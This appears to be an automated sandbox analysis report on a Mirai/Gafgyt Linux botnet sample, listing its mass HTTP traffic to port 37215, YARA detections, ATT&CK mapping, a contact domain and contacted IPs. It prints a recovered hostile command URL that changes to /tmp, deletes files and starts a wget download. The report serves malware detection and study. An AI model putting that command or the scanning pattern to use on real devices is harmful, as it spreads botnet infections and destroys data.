Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39772 -> 37215

Source: /tmp/t9lNEiD3ui.elf (PID: 6203)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6221)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6222)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6224)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6225)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6226)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6227)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 6253)	Queries kernel information via 'uname':	Jump to behavior

Source: t9lNEiD3ui.elf, 6203.1.00007ffcce9a7000.00007ffcce9c8000.rw-.sdmp, t9lNEiD3ui.elf, 6207.1.00007ffcce9a7000.00007ffcce9c8000.rw-.sdmp, t9lNEiD3ui.elf, 6208.1.00007ffcce9a7000.00007ffcce9c8000.rw-.sdmp, t9lNEiD3ui.elf, 6209.1.00007ffcce9a7000.00007ffcce9c8000.rw-.sdmp, t9lNEiD3ui.elf, 6212.1.00007ffcce9a7000.00007ffcce9c8000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: t9lNEiD3ui.elf, 6203.1.00007ffcce9a7000.00007ffcce9c8000.rw-.sdmp, t9lNEiD3ui.elf, 6207.1.00007ffcce9a7000.00007ffcce9c8000.rw-.sdmp, t9lNEiD3ui.elf, 6208.1.00007ffcce9a7000.00007ffcce9c8000.rw-.sdmp, t9lNEiD3ui.elf, 6209.1.00007ffcce9a7000.00007ffcce9c8000.rw-.sdmp, t9lNEiD3ui.elf, 6212.1.00007ffcce9a7000.00007ffcce9c8000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/t9lNEiD3ui.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/t9lNEiD3ui.elf
Source: t9lNEiD3ui.elf, 6203.1.000055d7d2eb4000.000055d7d2f17000.rw-.sdmp, t9lNEiD3ui.elf, 6207.1.000055d7d2eb4000.000055d7d2f17000.rw-.sdmp, t9lNEiD3ui.elf, 6208.1.000055d7d2eb4000.000055d7d2f17000.rw-.sdmp, t9lNEiD3ui.elf, 6209.1.000055d7d2eb4000.000055d7d2f17000.rw-.sdmp, t9lNEiD3ui.elf, 6212.1.000055d7d2eb4000.000055d7d2f17000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: t9lNEiD3ui.elf, 6203.1.000055d7d2eb4000.000055d7d2f17000.rw-.sdmp, t9lNEiD3ui.elf, 6207.1.000055d7d2eb4000.000055d7d2f17000.rw-.sdmp, t9lNEiD3ui.elf, 6208.1.000055d7d2eb4000.000055d7d2f17000.rw-.sdmp, t9lNEiD3ui.elf, 6209.1.000055d7d2eb4000.000055d7d2f17000.rw-.sdmp, t9lNEiD3ui.elf, 6212.1.000055d7d2eb4000.000055d7d2f17000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: t9lNEiD3ui.elf, type: SAMPLE
Source: Yara match	File source: 6203.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6212.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6207.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6209.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6208.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: t9lNEiD3ui.elf PID: 6203, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: t9lNEiD3ui.elf PID: 6207, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: t9lNEiD3ui.elf PID: 6208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: t9lNEiD3ui.elf PID: 6209, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: t9lNEiD3ui.elf PID: 6212, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: t9lNEiD3ui.elf, type: SAMPLE
Source: Yara match	File source: 6203.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6212.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6207.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6209.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6208.1.00007fae84400000.00007fae84412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: t9lNEiD3ui.elf PID: 6203, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: t9lNEiD3ui.elf PID: 6207, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: t9lNEiD3ui.elf PID: 6208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: t9lNEiD3ui.elf PID: 6209, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: t9lNEiD3ui.elf PID: 6212, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
t9lNEiD3ui.elf	66%	ReversingLabs	Linux.Trojan.Mirai
t9lNEiD3ui.elf	62%	Virustotal		Browse
t9lNEiD3ui.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
woofwoof.cfd	94.156.64.221	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	true	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	t9lNEiD3ui.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	t9lNEiD3ui.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
1.73.209.108	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
41.193.123.12	unknown	South Africa	11845	Vox-TelecomZA	false
156.198.87.202	unknown	Egypt	8452	TE-ASTE-ASEG	true
156.190.226.143	unknown	Egypt	36992	ETISALAT-MISREG	false
121.254.110.244	unknown	Taiwan; Republic of China (ROC)	17809	VEETIME-TW-APVEETIMECORPTW	false
172.95.33.140	unknown	United States	5650	FRONTIER-FRTRUS	false
202.28.233.55	unknown	Thailand	4762	MAHIDOL-BORDER-ASMahidolUniversityThailandTH	false
79.245.62.59	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
101.12.204.99	unknown	Taiwan; Republic of China (ROC)	24158	TAIWANMOBILE-ASTaiwanMobileCoLtdTW	false
62.160.205.76	unknown	France	3215	FranceTelecom-OrangeFR	false
156.60.223.213	unknown	United States	1226	CTA-42-AS1226US	false
212.172.132.159	unknown	Germany	12312	ECOTELDE	false
